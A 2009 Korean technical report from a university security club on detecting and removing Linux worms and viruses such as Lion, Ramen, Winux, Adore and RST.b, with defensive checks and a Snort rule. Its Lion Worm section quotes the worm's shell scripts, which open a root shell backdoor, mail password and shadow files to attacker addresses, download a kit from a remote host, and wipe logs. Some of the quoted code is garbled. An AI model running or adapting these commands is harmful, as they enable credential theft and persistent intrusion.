기술문서	'09. 11. 04. 작성

Linux Virus 탐지 및 대응

작성자 : 동명대학교 THINK동아리 서환곤 masinmaster@gmail.com

0. 시작하면서 p.1
1. Linux Virus 개요 p.1
2. Linux Virus 종류 및 특징 p.4
3. Linux Virus 분석 p.5
4 .Linux Virus 대응 방안 p.13
5. 마치면서 p.14
6. 참고 문헌 p.14

0. 시작하면서

본 기술 문서는 Linux에서 발생하는 Virus에 대하여 기술한 문서로 정확한 감염 증상, Virus의 동작원리와 그에 따른 대응 방안을 서술 하였습니다. 오직 Linux OS에서만 감염되는 Virus만 나열하였음을 미리 알리며 그 외 다른 OS에서 발생하는 Virus에 대해서는 거론하지 않았음을 알려드립니다.

이 문서는 Linux를 사용하는 일반 사용자나 시스템 관리자 혹은 서버 관리자를 주 대상으로 삼았으며 각종 Virus에 감염되는 대상 시스템은 해당 Virus에 따라 다르므로 따로 분류하였으니 참고하기시 바랍니다.

1. Linux Virus 개요

가. Linux Virus는 과연 존재하는가?

사실상 Linux Virus는 그 존재여부 조차 아는 사람이 별로 없을 만큼 인지도가 낮은 게 현실이다. Linux Virus는 Windows와는 다르게 Virus의 개체수가 적으며 감염되더라도 그리 위협적이지 않은 Virus가 상당수 이다. 이유는 Linux를 사용하는 사용자의 수가 Windows에 비해 많지 않다는 점도 한 몫 하지만 그 이전에 Linux OS 자체가 Virus에 강력하다는 점이다. 이는 Linux OS 타 OS와의 다른 하나의 장점이기도 하다. 특히 과거에는 Linux를 사용하는 사용자가 워낙 적은 탓에 Linux용 Virus를 제작하는 사람도 거의 없다고 볼 수 있었고 Virus를 제작 하더라도 그리 큰 효과가 나타나지 않기 때문에 Virus의 빈도수는 현저히 낮았다.

운영체제	2002	2003												2003년 합계
		1	2	3	4	5	6	7	8	9	10	11	12	
Win NT/2000/XP	2,279	687	248	1,338	1,082	935	189	227	463	72	154	158	180	5,733
Win 95/98	2,098	458	405	366	564	347	370	129	126	65	76	91	44	3,041
Linux	574	29	74	62	53	33	21	20	11	3	10	4	3	323
Solaris	90	7	1	2	1	3	0	0	0	0	2	0	0	16
AIX	19	0	1	0	2	0	0	0	0	0	0	0	0	3
HP-UX	12	0	1	1	1	0	1	0	0	0	0	0	0	4
Digital Unix	6	0	1	0	0	1	0	0	0	0	0	0	0	2
DEC/IRIX	3	0	0	0	0	0	0	0	0	0	0	0	0	0
CISCO	2	0	0	0	0	0	0	0	0	0	0	0	0	0
N/A	1,361	278	180	476	859	901	165	166	82	46	78	246	232	3,709
합계	6,444	1,459	911	2,245	2,562	2,220	746	542	682	186	320	499	459	12,831

<그림 1-1> 2003년 모든 OS 별 Virus 감염 통계

하지만 현재는 Fedora나 Ubuntu 등의 Linux 배포 판이 증가하고 사용자도 늘어나고 있는 추세라 Linux용 Malware나 Virus등도 곳곳에 분포되고 있는 추세라 더 이상은 Linux Virus를 간과하기만 할 수도 없는 추세이다. 더불어 최근 Linux와 Windows 양쪽 OS 모두에 작용하는 복합적인 Virus도 발견되어 Linux도 더 이상 Virus에서 안전하지만은 결론에 도달했다.

어떤 OS든 Virus가 없는 OS는 없고, Linux OS도 그에 대해 완전히 안전할 수는 없는 노릇이다.

나. 왜 Linux는 Virus로부터 안전했나?

앞서 Linux OS는 Virus부터 특히 강력하다는 거론을 했는데 그 이유에 대해 간략하게나마 서술하고자 한다. 이 분류는 앞으로 Linux OS 에서 Virus에 대한 심각성을 부각하고자 해서 만든 것임을 미리 알리는 바이다.

Linux OS가 Virus로부터 안전했던 이유는 많은 이유가 있는데 구체적으로 3가지를 나열하면 다음과 같다.

1) Linux OS의 강력한 계정관리기능

Linux OS는 Virus가 존재함에도 불구하고 전파가 잘 되지 않는다는 점이 있는데 이유는 바로 Linux OS는 계정관리 시스템이 있기 때문이다. Windows가 특히 Virus에 취약한 이유는 사용자들이 주로 관리자 계정 즉, Administrator계정으로 흔히 사용하므로 Virus의 전파가 원활하게 이루어지기 때문이다. 특히 관리자 계정이 Virus에 감염된다면 하위 권한의 모든 계정들도 Virus에 감염이 되므로 결론적으로 관리자 한사람만이 아닌 모든 사용자들이 감염이 되는 셈이다. 하지만 Linux OS의 경우는 계정관리 시스템이 철저하기 때문에 파일에 대한 접근 권한이나 쓰기, 및 실행 권한 등의 상세한 설정이 가능해 설령 하나의 계정이 Virus에 감염이 된다 하더라도 해당 계정 하나만 피해를 보기 때문에 전파가 어려운 것이 현실이다. Linux OS의 관리자 계정 즉, root는 필요할 때만 Console로 접속하여 작업을 하는 것이 보통이라 거의 사용되는 일이 전무하다. Virus가 시스템 전부에 영향을 미치기 위해서는 setuid로 root의 계정을 취득하여 Compile해야만 가능한데 이를 실행하기 위해서 Virus 하나만으로는 거의 불가능하기 때문이다.

2) Active X 악성코드에 면역

인터넷 악성코드 중 가장 많은 비중을 차지했던 Active X 컨트롤형 악성코드는 Linux OS에서는 아예 통하지 않는다. 이유는 Active X는 오직 Microsoft 사의 기술이며 이 기술은 오직 Windows에서만 통하므로 Linux OS는 이 부분에 있어서는 완전한 면역을 보였다. 때문에 감염경로 면에서 많은 비중을 차지했던 '인터넷' 부분에서도 Linux OS는 Virus로부터 안전했던 것 이다.

3) Linux OS 낮은 사용률과 빠른 보안 Patch

근본적이고도 당연한 이유이지만 Linux OS는 Windows에 비해 사용률이 낮다. 즉, Linux OS는 Windows비해 사용자가 적다는 사실이다. 때문에 Virus를 전염시키더라도 워낙 적어서 별 효과를 보기가 힘들다. 또 한 Virus가 발견되거나 신고가 들어올시 제작사 혹은 배포사 에서 즉각 빠른 조치를 취해 Virus 본연의 의미를 상실 시킨다. 이로 인해 Linux OS는 Virus제작보다는 root계정을 얻어내는 Hacking이나 Rootkit을 제작 하는 것이 보편적이며 이를 제작하기 위해선 Linux시스템의 전반적인 지식을 갖추어야 하므로 공격을 하는 Hacker들의 수도 현저히 낮은 편이다.

다. 현재 Linux Virus의 동향

앞서 거론했듯이 Linux는 Virus로부터 완전하지는 안지만 어느 정도의 계정 관리와 파일 시스템 관리 등을 통해 안전지대를 형성할 수 있었다.

하지만 계속해서 두터워 지는 유저 층과 쏟아져 나오는 여러 배포 판에 힘입어 Linux의 인지도는 과거에 비해 상당히 올랐고 이를 노리는 일부 Hacker들은 Virus를 제작하여 감염시키기 시작했다. 2001년 초에는 일명 '라면 Virus'라고 불리는 PHP Virus를 출두로 Worm이 등장하기 시작했다. 이 Virus는 시스템을 파괴하는 등의 적극적인 공격은 하지 않았지만 네트워크 대역폭을 독차지 하여 Server에 장애를 일으키거나 Virus 제작자가 추후 출입 할 수 있는 Backdoor를 설치하는 등 악의적인 행위를 일으키는 Virus이다. 이것은 시작에 불과한 것으로, 이후 한 단계 진화를 거친 Ador Worm이나 Windows와 Linux 양쪽 OS 모두에게 장애를 일으키는 Winux 등이 속출하기 시작해 Linux 용 Virus가 서서히 두각을 드러내기 시작하였다. 즉, Linux용 Virus라는 Linux 전용 Virus가 등한 셈이다.

이 Linux Virus는 단순한 Virus가 아닌 Computer Virus와 Hacking 기술이 결합되어 더욱 진보된 Virus를 의미한다.

2. Linux Virus 종류 및 특징

가. Linux Virus 유형

Linux Virus는 크게 3가지 유형으로 나누어 볼 수 있다.

1) Linux/stago, Bliss 등과 같은 Linux의 실행파일 ELF(Executable and Linking Format) Virus

2) Kernel, Library에 삽입되는 Virus

3) Morris Worm, ADM Worm 등과 같은 시스템자체 버그나 설정 취약성을 이용한 Worm Virus

이 외에도 특정 Worm이용하여 분산서비스거부공격(Distributed Denial Of Service)을 일으켜 Server에 과부하를 일으키거나 능숙한 Hacker의 경우 시스템을 Hacking한 뒤 Virus형태로 시스템 주요 파일과 시스템 자체 내의 Kernel에 보이지 않게 트로이목마를 설치하는 등의 공격 유형이 있다. 이러한 경우 보안 관리자라 해도 해당 트로이목마를 탐지 및 제거를 하기가 매우 힘들어지며 보안시스템을 구축해 놓아도 곧바로 대응하기 힘들어 진다.

다음은 구체적인 Linux Virus의 종류에 대해 나열하고 서술하도록 하겠다.

1) Shell Script : 가장 간단히 제작할 수 있는 형태의 Virus로 Shell Script를 이용하여 크기가 200byte도 안 되는 Virus를 만들어 낼 수도 있다.

2) Boot Sector Viruses : Intel 기반의 PC 와 PC Server 시스템의 경우에는 기본 Boot Sector의 구조가 같기 때문에 가장 쉽게 만들어 낼 수 있는 유형의 Virus이다. Linux 뿐 아니라 386BSD, SCO Unix 등 Intel 기반의 Server PC 들은 감염된 Disk로 부팅할 경우 Dos Boot Sector Virus에 감염 될 수 있다.

3) Worms : 해킹 기술을 응용하여 관리자 계정(root)을 획득해 다른 시스템에 전염 시킨다는 두드러진 특징이 나타나는 Virus이다. 특히 관리자 계정을 취득하여 공격하는 방식은 Windows의 Worm보다도 피해성이 심각하다고 볼 수 있다. Worm의 형태는 시스템과 설치된 응용프로그램의 버전들의 의해 그 피해확산이 결정되는 문제가 있었지만 최근 계속해서 새로운 취약성이 공개되고 있으며 이러한 취약성에 대한 공격 모듈은 매우 쉬운 추가와 업데이트가 가능해 더욱 위험성이 심각해지고 있다. 대표적으로 Morris Worm이나 ADM Internet Worm등이 있으며 특정 Worm은 분산서비스거부공격(Distributed Denial Of Service)등에 이용될 수 있다.

4) ELF Infector : Linux 시스템의 실행파일인 ELF(Executable and Linking Format) 파일을 실제적으로 감염시키는 방식으로 임의의 악의적인 코드나 텍스트를 삽입 할 수 있기 때문에 전파 가능성이 매우 높다고 볼 수 있다.

5) Faked Library : 일반적으로 Linux에서 응용프로그램을 실행하거나 함수를 호출 할 경우 그에 따른 특정 Library를 사용하게 되는데 이러한 Library들은 보안상 상당히 취약한 부분이 많으며 이를 Hacking 하여 주요 함수 Library를 Virus로 바꿔 놓아 악의적인 작업이 실행되게 하는 방식이 보편적이다.

3. Linux Virus 분석

본격 적으로 Linux에서 가장 빈번하게 일어나는 Virus 혹은 감염 시 치명적인 위험이 권고 되는 최신 Virus에 대해 나열하고 해당 Virus의 특징이나 감염증상, 동작 과정, 대응 방안 등을 서술 하겠다.

가. Lion Worm

Lion Worm 은 BIND 의 TSIG 취약점을 이용한 Worm으로 Ramen Worm과 비슷하지만 위험도가 더 높다. 이 Worm 은 BIND DNS Server 를 운영하는 Linux OS에 감염되고 대규모 네트워크를 스캔하여 공격한 후 Rootkit을 설치하므로 많은 시스템이 피해를 당한 후에도 공격자에게 계속적으로 악용 될 수 있다. 특히 공격받기 쉬운 컴퓨터의 Class B IP 네트워크를 겨냥하여 Scanning 함으로써 피해를 확산 시킬 수 있다. 침투에 성공한 후에는 Virus의 존재를 숨길 수 있도록 설계된 coollion.51.net에서 패키지를 설치하여 공격자가 임의로 새로운 파일을 변경 혹은 형성하여 새로운 디렉터리를 만들어 이러한 작업을 계속 실행한다. 이 Worm은 재부팅되는 동안에도 활성 상태로 남아 있어 계속 위장한다.

1) 대상 시스템

bind 8.2 8.2.1 8.2.2 8.2.2-PX

2) 동작 원리

① 임의의 IP 대역을 선택하여 53번 포트를 스캔한다.
② 53번 포트가 열려있는 시스템을 발견, 취약한 버전의 BIND 시스템일 경우 공격한다.
③ 1008번 포트 혹은 10008번 포트를 백도어로 열어 놓은 뒤 /etc/password, /etc/shadow 파일을 공격자의 메일로 보내고 세부적인 사항은 특정 메일 주소로 보낸다.
④ lynx -dump을 이용하여 kit(crew.tgz)을 다운로드 받는다.
⑤ kit의 압축을 풀고 초기화 스크립트를 실행한다. 이 후 /etc/hosts.deny를 삭제하고rc.sysinit 에 자동으로 스캐닝 스크립트를 시작하는 라인을 추가하여 스캔을 시작하는 스크립트를 시작하여 모든 과정 반복한다.

```
PATH='/usr/bin:/bin:/usr/local/bin/:/usr/sbin/:/sbin
export PATH;export TERM=vt100
rm -rf /dev/.lib
mkdir /dev/.lib
cd /dev/.lib
echo '10008 stream tcp nowait root /bin/sh sh' >>/etc/inetd.conf;
killall - HUP inetd;ifconfig -a>li0n
cat /etc/passwd >>li0n
cat /etc/shadow >>li0n
mail huckit@china.com <li0n
rm -fr li0n;rm -fr /.bash_history
```

```
echo >/var/log/messages
rm -rf /var/log/maillog
echo 'Powered by H.U.C(c0011i0n).-----1i0n Crew' > index.html;echo '#!/bin/sh' > lion
echo 'nohup find / -name "index.html" -exec /bin/체 index.html {} |;'>>lion
echo 'tar -xf 1i0n.tar'>>lion
echo './1i0n.sh' >>lion
echo >>lion
echo >>lion
chmod 755 lion;
```

```
PATH='/usr/bin:/bin:/usr/local/bin/:/usr/sbin/:/sbin'
export PATH
export TERM=vt100
rm -rf /dev/.lib
mkdir /dev/.lib
cd /dev/.lib
echo '1008 stram tcp nowait root /bin/sh sh' >>/etc/inetd.conf
killall - HUP inetd
ifconfig asswd >> 1i0n
cat /etc/shadow >> 1i0n
mail 1i0nip@china.com <1i0n;rm -fr 1i0n
rm -fr /.bash_history
lynx -dump http://coollion.51.net/crew.tgz >1i0n.tgz
tar -zxvf 1i0n.tgz
rm -fr 1i0n.tgz
cd lib
./1i0n.sh
exit;
```

⑥ 이전 피해 시스템의 27374번 포트에 접속하여 1i0n.tar파일을 받아온다.
⑦ asp라는 서비스를 추가해 27374번 포트를 통해 Worm을 다른 시스템으로 전파 시킨다. 결론적으로 Worm 감염된 Server는 다른 곳으로 Worm을 전파시켜주는 Server가 된 셈이다.
⑧ index.html 파일을 index.htm 파일로 변환하고 /etc/rc.d/rc.sysinit 파일에 /dev/lib/star.sh"와 같은 라인이 추가 된다.
⑨ 흔적을 지우고 /dev/.lib/star.sh가 실행되면서 곧바로 다시 다른 시스템을 공격한다.

3) 대응 방법

① nmap을 이용하여 1008번, 10008번, 27374번 포트의 오픈 유무를 확인한다.

```
nmap -sT -p 1008,10008,27374 xxx.xxx.xxx.xxx <-호스트 IP
```

② /dev/.lib 디렉터리가 있는지 확인한다.

③ /tmp/ramen.tar 파일이 있는지 확인한다.

④ /etc/rc.d/rc.sysinit 파일에 /dev/.lib/star.sh가 있는지 확인한다.

⑤ /etc/inetd.conf 파일에 다음과 같은 라인이 있는지 확인한다.

```
1008 stream tcp nowait root /bin/sh sh
10008 stream tcp nowait root /bin/sh sh
asp stream tcp nowait root /sbin/asp
```

⑥ 감염된 시스템에서 Lion 파일을 탐지하기 위해서 Sans에서 제공하는 1ionfind를 사용한다.

⑦ Snort를 이용하여 다음과 같은 스크립트를 작성한다.

```
activate u에 any any -> any 53 (msg:"BINK Tsig Overflow Attempt"; content;
"|80 00 07 00 00 00 00 00 01 3F 00 01 02|/bin/sh"; tag: host, 300, seconds, src;)
```

⑧ chkrootkit을 이용하여 Lion Worm을 탐지한다. 단 chkrootkit은 0.30버전 이상이어야 한다.

⑨ BIND 버전을 8.3.2 버전 이상으로 업그레이드 한다.

나. Rmen Virus

일명 '라면 Virus'라고도 불리는 이 Virus는 Worm 의 한 종류로 전 세계적으로 유명한 보안 포럼, 백신업체 등에서 논의 된 바가 있다. 지난 88년 sendmail의 보안취약점을 이용한 인터넷 Worm과 99년 12월에 발생한 Millennium Internet Worm등의 피해 사례가 대표적이다. 역시 Worm 이니 만큼 빠른 전파력을 보여주고 이로 인해 피해시스템이 기하급수적으로 증가할 수 있는 Worm이다.

이 Virus는 시스템 내에 심각한 피해를 주지 않지만 자기 복제가 가능하고, 보안이 허술한 특정 Linux 시스템을 공격목표로 선정하여 취약점을 찾아 자동으로 침입하는 기능과 침입한 시스템에 보안취약점을 패치, 메인 페이지인 index.html 파일을 공격자가 원하는 텍스트를 삽입하여 화면으로 바꾸는 기능 등이 있다. 또 한 멀티태스킹을 지원하는 네트워크를 방해하거나 공격 도구를 설치하는 등의 다수의 능력이 존재 하지만 Ramen은 이런 기능들을 수행하기 위해 여러 스크립트로 구성 되어 있다.

1) 대상 시스템

Redhat 6.0, Redhat 7.2 특히 패치 되지 않은 wu-ftp, nfs를 서비스 하는 Redhat이 주 대상이다.

2) 동작 원리

① FTP 서비스 포트인 21번 포트를 스캔하고 취약점을 가진 시스템의 여부에 대해 스캐닝 한다. 이 때 FTP 배너의 날짜를 이용하여 취약점을 분석한다.

② 취약점 점검과 동시에 공격 스크립트가 수행되며 목표한 시스템에 취약점이 확인 되는 즉시 작업 디렉터리를 생성한다.

```
# strings s62, s7, 17, 17, 162, w62, w7
mkdir /usr/src/.poop <-- 디렉터리 생성
cp remen.tgz /tmp <-- 감염된 시스템으로 ramen.tgz를 복사한다.
```

설치 후 나중에 ramen 패키지를 배포할 목적으로 27374포트를 통한 제한된 웹 기능을 가진 서비스를 설치한다.

```
# netstat -na
tcp 0 0 0.0.0.0:27374 0.0.0.0:* LISTEN
```

③ 원격으로 감염시스템의 파일을 마운트 한 후 시스템 전부를 검색하여 index.html 파일을 공격자가 원하는 파일로 변경한다. 웹서버를 손상 시킬 수 있고 html 형식으로 작성된 문서파일과 개인 디렉터리를 손상 시킬 수도 있다.

④ 피해시스템에서 특정 계정으로 E-mail을 전송한다.

⑤ 감염된 시스템 내에 취약점을 패치 한다. FTP서비스와 rpc.stad를 disable 시킨다.

⑥ 감염 시스템을 이용하여 새로운 취약점을 가진 시스템을 스캔한 후 같은 식으로 감염시킨다.

3) 대응 방안

① /usr/src/.poop 와 /sbin/asp를 제거한다.

② /etc/xinetd.d/asp를 제거한다.

③ /etc/inetd.conf에서 asp, stream, tcp, nowait, root, /sbin/asp를 제거한다.

④ /etc/rc.d/rc.sysinit에서 /etc/src/poop 제거한다.
⑤ 시스템을 재부팅하거나 synscan, start.sh, scan.sh, hackl.sh, hackw.sh 프로세스를 제거한다.
⑥ ftp, rpc.statd. 1pr 업데이트 후 서비스를 재시작 한다.
⑦ Redhat 취약점 패치를 한다.

다. Winux

Windows OS 뿐 아니라 동시에 Linux OS 도 감염시키는 최초의 Virus로 이 Virus를 처음 발견한 Central Command란 회사에 의해 Winux라 명의 되었다. 딱히 시스템을 파괴하거나 장애를 일으키는 등의 위험성은 없으나 각각의 플랫폼에 독립적으로 작동하는 최초의 Virus라는 점에 큰 의미를 두고 있다. Win32.Winux. Win32.PEELF.2132 등등 의 여러 이름으로 불리며 비메모리 상주 Virus 이다.

1) 대상 시스템
Windows 플랫폼의 PE 파일, Linux 플랫폼의 ELF파일

2) 동작 원리
① 현재 폴더에 위치한 모든 파일과 그 상위 폴더의 모든 파일을 열어 검색한다. (PE, ELF파일)
② 휴면 상태로 잠적해 있다가 사용자가 감염된 프로그램을 실행하거나 e-mail로 첨부 파일을 보낼 때 가동하기 시작한다.
③ Windows의 PE파일의 .reloc섹션을 덮어씌워 감염시킨다. 만약 .reloc 섹션사이즈가 Virus보다 크지 않다면 파일은 감염되지 않는다. 이것들은 다른 파일들은 감염시킬 때 API function을 사용한다.

```
FindFirstFileA
FindNextFileA
IndClose
CreateFileA
CreateFileMappingA
MapViewOfFile
UnmapViewOfFile
CloseHandle
VirtualAlloc
VirtualFree
WriteFile
SetFilePointer
GetCurrentDirectoryA
SetCurrentDirectoryA
```

④ Linux ELF executable은 entry point의 instructions를 덮어씌움으로써 감염된다. 이렇게 되면 본래 있던 코드는 ELF executable의 맨 끝에 저장된다. 감염된 ELF프로그램이 실행될 때 Virus코드가 작동하여 호스트파일을 컨트롤하여 더 번지게 한다.

⑤ W32.Winux는 다음과 같은 텍스트 문장을 보여준다.

```
"[?Win32/Linux.Winux] multi-platform virus by Benny/29A?and ?This GNU program is covered by GPL.?"
```

3) 대응 방안

① 시스템 내에 피해를 입히거나 하는 경우는 없으므로 감염된 파일을 삭제하거나 Anti-Virus 프로그램을 사용하여 제거 하면 된다.

② 백신 프로그램을 이용하여 치료가 가능하다.

라. Adore Worm

Adore Worm은 원래 'Red Worm'의 이름이 변형 되어 탄생하게 된 것이다. 이 Worm은 Ramen이나 Lion웜과 비슷하므로 주의가 요구되는 Virus이다. Adore Worm은 임의의 호스트들을 스캔하여 공격하는 방식으로 역시 Ramen이나 Lion Virus의 공격방식과 비슷하다. 주로 LPRng나 wu-ftpd, BIND 취약점이 있는 Linux 시스템을 공격한다.

1) 대상 시스템

LPRng, rpc-statd, wu-ftpd, BIND를 운영하는 Linux 시스템.

2) 동작 원리

① ps의 Binary 파일을 Trojan 버전으로 교체하고 원본은 /usr/bin/adre로 옮긴다.

② red.tar를 /usr/lib/lib에 설치한다.

③ adore9000@21cn.com, adore9000@sina.com, adore9001@21cn.com, adore9001@sina.com으로 특정 정보를 메일을 보낸다.

```
/etc/ftpusers, ifconfig, ps -aux, /etc/hosts, /etc/shadow
```

④ icmp를 실행하여 접속을 허가하는 rootshell을 설정한다.

⑤ cron daily의 cronjob을 설정하여 존재하는 모든 log를 지우고 시스템을 재부팅 한다.

⑥ /bin/ps를 /usr/bin/adore, /sbin/klogd를 /usr/lib/klogd.o, /etc/cron.daily/0anacron을 /usr/lib/lib/0anacron-bak 교체한다.

⑦ rootshell을 생성한다.

3) 대응 방안

① Adorefind를 사용하여 Adore Worm의 설치 여부를 조사한다.

② 취약점이 있는 4가지 서비스를 패치 한다. (LPRng, rpc-statd, wu-ftpd, BIND)

마. RST.b Virus

RST.b는 Remote Shell Trojan b의 약자로 단순한 Virus가 아닌 backdoor 기능까지 겸비하여 강력한 Virus로 손꼽히고 있다. 감염증상은 일부 명령어가 실행되지 않거나 Compile이 잘 되지 않고 Zombie Process가 상당히 많이 보이는 등의 증상이 일어난다. 다음은 ls 명령어를 실행하였을 때 나타나는 오류이다.

```
[root@www /root]# ls -la
ls: unrecognized option '--show-control-chars'
Try 'ls --help' for more information
```

1) 대상 시스템

구체적인 시스템버전은 등장하지 않았으나 대부분 Mozilla 1.7.6 패치에 의해 감염

2) 작동 원리

① 감염된 Mozilla Linux 서버에서 Packaging한 파일을 Mozilla 공식 서버로 보내면서 감염

② 사용자들이 mozilla-1.7.6.ko-KR 패치를 하면서 mozilla-installer-bin 이라는 파일이 클라이언트에 감염된다.

③ 이후 ls 명령어나 특정 명령어가 사용이 불가능해 진다.

④ ps 명령어 실행 시 다음과 같은 defunct (zombie process)가 확인된다.

```
root  4415 0.0 0.0 1136   68 pts/1 T 13:28 0:00 ls -FX --show-control-chars --color=auto -al
root  4416 0.0 0.0    0    0 pts/1 Z 13:28 0:00 [ls <defunct>]
root  4998 0.0 0.0 1100   64 pts/1 T 13:32 0:00 rm -f MCerror
root  5000 0.0 0.0    0    0 pts/1 Z 13:32 0:00 [rm <defunct>]
root  5139 0.0 0.0 1100   64 pts/1 T 13:32 0:00 rm -f MCerror
root  5141 0.0 0.0    0    0 pts/1 Z 13:32 0:00 [rm <defunct>]
root  5192 0.0 0.0 1100   64 pts/1 T 13:32 0:00 rm -f MCerror
root  5194 0.0 0.0    0    0 pts/1 Z 13:32 0:00 [rm <defunct>]
root  7453 0.0 0.0 1104   12 pts/1 T 13:34 0:00 touch /usr/src/libux/include/linux/netifier.h
root  7455 0.0 0.0 1104   12 pts/1 T 13:34 0:00 touch /usr/src/libux/include/linux/reboot.h
root  7455 0.0 0.0    0    0 pts/1 Z 13:34 0:00 [touch <defunct>]
root  7460 0.0 0.0    0    0 pts/1 Z 13:34 0:00 [touch <defunct>]
root  7959 0.0 0.0 1104   40 pts/1 T 13:35 0:00 touch /usr/src/libux/include/linux/seralP.h
root  7981 0.0 0.0    0    0 pts/1 Z 13:35 0:00 [touch <defunct>]
root  9591 0.0 0.0    0    0 pts/1 Z 13:37 0:00 [touch <defunct>]
root 10289 0.0 0.4 2488 1244 ? S 13:38 0:00 /usr/sbin/sshd2
root 11858 0.0 0.0 1136   68 pts/1 T 14:03 0:00 ls -FX --show-control-chars --color=auto -lat
root 11859 0.0 0.0    0    0 pts/1 Z 14:03 0:00 [ls<defunct>]
root 15573 0.0 0.1 1104 280 pts/1 T 14:08 0:00 touch /usr/src/linux/include/linux/rwsem.h
```

```
root 15578 0.0 0.0 0 0 pts/1 Z 14:08 0:00 [touch <defunct>]
```

⑤ /bin, /sbin, /usr/bin/, /usr/sbin/ 디렉터리 내에 있는 실행 파일의 변경날짜를 최근으로 계속 바꾼다.
⑥ /dev/hdx1, /dev/hdx2 파일을 생성하고 eth0을 promisc mode로 변경한다.

3) 대응 방안
① rstb.tgz라는 rstb전용 스캐너를 다운받아 압축을 푼다.
② rstb_detector를 실행하여 rst.b 감염 여부를 확인한다.
③ 아래 명령어를 샐 행하여 rsb_cleaner 파일이 감염되지 않도록 설정한다.

```
[root@www rstb]# chattr +i rstb_detector rstb_cleaner
```

④ /bin/* 디렉터리에 있는 파일 중 감염된 파일을 찾아 감염된 파일은 그대로 두고, 감염되기 이전의 원본파일을 파일명.clean 변경한다. (이 작업은 rstb_detector를 실행하면 자동으로 이루어진다.)
⑤ 이어서 /sbin, /usr/bin, /usr/sbin 폴더에도 위와 같은 작업을 한다.
⑥ 제일 먼저 깨끗한 ls와 mv 원본 파일에도 변경불가 속성을 부여한다.

```
[root@www rstb]# chattr +i /bin/ls.clean /bin/mv.clean
```

⑦ ls.clean -al /bin/*.clean을 실행하면 감염되기 이전의 파일들이 보이게 된다. 이 원본 파일들로 모두 교체 하여야 한다.
⑧ 감염된 mv대신 mv.clean 명령어를 이용하여 .clean 파일로 덮어쓰고 읽기 전용 속성을 부여한다.

```
[root@www rstb]# mv.clean /bin/chgrp.clean /bin/chgrp
[root@www rstb]# chattr +i /bin/chgrp
```

⑨ mv.clean과 ls.clean 파일의 I 속성을 해제하고 파일들의 이름을 원래대로 변경한다.

```
[root@www rstb]# chattr -i /bin/mv.clean /bin/ls.clean
[root@www rstb]# cp -f /bin/mv.clean /bin/mv
[root@www rstb]# cp -f /bin/ls.clean /bin/ls
[root@www rstb]# rm -f /bin/ls.clean /bin/mv.clean
```

⑩ 마지막으로 ps에 defunct 되어 있는 zombie process를 모두 kill 한다.

4. Linux Virus 대응 방안

끝으로 Linux Virus에 감염되기 이전의 대응 방안 및 사용자들이 가져야할 태도 등에 대하여 설명하고자 한다. Linux Virus는 현재까지는 아직 심각한 수준의 피해는 나오지 않았지만 앞서 말했듯이 점점 이목을 끌고 있는 OS로서 Virus에 대해 미리 알고 예방하는 것이 좋을 것 이다.

가. 정기적인 백업과 시스템 관리

개인 PC 사용자라면 비상시에 급습하는 Virus에 대하여 정기적인 백업을 할 것을 추천한다. 사용자 입장에서 Virus의 가장 무서운 점이라면 '방해'가 아닌 '파괴'이다. 때문에 Virus에 감염되었을 최악의 상황 이라면 바로 중요한 파일손상 되거나 혹은 시스템 전체가 사용불능의 상태가 되었을 때를 말한다. 이때를 대비하여 중요한 자료나 문서 등은 미리 백업을 해 놓는 것이 가장 좋은 방법이다. 시스템관리자의 경우 당연히 필수적인 사항이며 보안 관리 정책을 미리 마련하거나 Virus가 네트워크로 퍼질 가능성에 대비하여 공유 폴더 이용 시 주의하여야 한다.

나. 백신의 활용

Virus의 확산을 막기 위한 가장 좋은 방법은 Virus의 백신을 활용 하여야 한다. 백신은 Virus제거만 하는 것이 아니라 주기적으로 시스템 점검 시에도 매우 유용한 프로그램이다. 백신 프로그램은 Virus의 유형만이 아니라 트로이목마, Worm, 해킹 프로그램 까지 검색하여 제거하는 엔진을 제공하여 시스템 보안상의 면에서도 우수한 성능을 자랑한다. 물론 어떤 프로그램과 백신 엔진을 사용할 지는 사용자들이 선택해야 할 몫이다.

다. 정기적인 업데이트

Virus는 발전 형태의 악성 프로그램으로 이는 즉, 치료가 되거나 해당 시스템에 통하지 않더라도 얼마든지 우회하여 다른 버전의 Virus 프로그램을 만들어 낼 가능성이 있다는 것이다. 이에 발맞춰 사용자들도 정기적으로 시스템 업데이트나 보안 패치를 해야 할 필요성이 있다. 이것을 주기적으로 하지 않을 경우 치료했던 Virus에 또 감염될 우려가 있으며 신종 Virus에도 감염될 확률이 높아져 결국 가장 안전한 예방법은 시스템 업데이트를 하는 방법이 최선의 방법일 것 이다. 패치는 언제나 신속하게 이루어 져야 하며 이를 위해선 사용자가 보안에 어느 정도 이상의 관심을 가져야 할 것이다.

라. 감염 위험의 최소화

Virus 피해 감염을 최소화 시키는 것으로 기술적인 면 보단 사용자들의 '습관'에 비롯된 대응방안이라 볼 수 있다. 예를 들면 특정 파일을 다운로드 받을 때 미리 Virus를 체크하거나 평소 워드 도큐먼트는 RTF 파일로, 엑셀 스프레드시트는 CSV 파일로 저장하는 방법 등이 있다. 이러한 포맷은 매크로를 지원하지 않기 때문에 도큐먼트 Virus를 퍼뜨릴 위험성을 감소시키는 효과가 있다. 인터넷 브라우저는 Java나 또는 쿠키 등과 같은 코드를 실행시키지 않도록 안전하게 설정하고 구성하여야 한다. 백업 역시 감염 위험의 최소화에 일축된다.

마. 시스템에 대한 전반적 지식

Virus를 단순히 보안도구나 백신으로 완전히 치료하는 것은 근본적인 한계가 있다. 이것은 비단 Linux뿐 만 아니라 어떤 OS를 사용하더라도 그에 대한 필수적인 전반적 지식이 갖춰진다면 완벽히 Virus를 치료 할 수 있다. 특히 Linux의 경우는 Virus를 치료할 때 필요로 하는 실행 명령어가 많은 편이므로 항상 숙지하는 것이 좋다.

5. 마치면서

현재까지의 Linux Virus는 아직 초기 단계로 파괴력이 없는 연구를 목적으로 제작된 바이러스가 대부분이며 이에 대해서는 계속적인 연구가 이어질 것으로 판단된다. Linux Virus는 사용자를 약간 귀찮게 하는 정도의 효과일 뿐, 더 나아가 시스템을 완전히 사용불능으로 만들어 버리거나 파괴하는 등의 행위는 현재까지 거의 없는 것으로 보인다. 하지만 Virus 제작자들이 Linux에 깊은 관심을 가지고 Virus를 제작해 온다면 앞으로 어떤 유형의 새로운 Virus가 나올지는 누구도 예측할 수 없다.

Linux OS는 계속해서 발전 중에 있으며 사용자층도 현저히 늘고 있음과 동시에 Virus에 대한 위험요소도 더 이상은 배제할 수 없게 되었다. Linux를 사용하는 사용자들의 보안인식이 좀 더 개선되어 신종 Virus가 나오더라도 즉시 적절한 대응을 할 수 있길 바라며 본 문서를 마친다.

6. 참고 문헌

- 도서
